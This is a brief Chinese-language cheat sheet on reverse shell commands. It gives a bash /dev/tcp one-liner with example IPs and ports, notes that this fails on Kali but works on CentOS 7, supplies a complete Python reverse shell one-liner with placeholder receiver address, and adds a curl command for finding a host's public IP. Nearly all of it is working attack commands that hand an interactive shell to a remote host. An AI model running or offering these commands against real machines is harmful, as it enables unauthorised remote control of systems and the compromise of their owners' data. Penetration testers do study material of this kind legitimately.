反弹shell命令详解

在linux下执行（win下不支持） bash -i >&/dev/tcp/ip/port 0>&1   例如bash -i >&/dev/tcp/192.168.0.107/7777 0>&1
2023.3.24更新 
以上反向连接kali下不可用，提示no such file or directory: /dev/tcp/111.230.170.95/9985。
以上反向连接在centos7下可以成功连接。
python版反向连接可以成功。

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("接收端ip",接收端端口));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

查询linux主机外网ip地址 

curl myip.ipip.net   当前 IP：183.1X.2XX.88 来自于：中国 广东 深圳 电信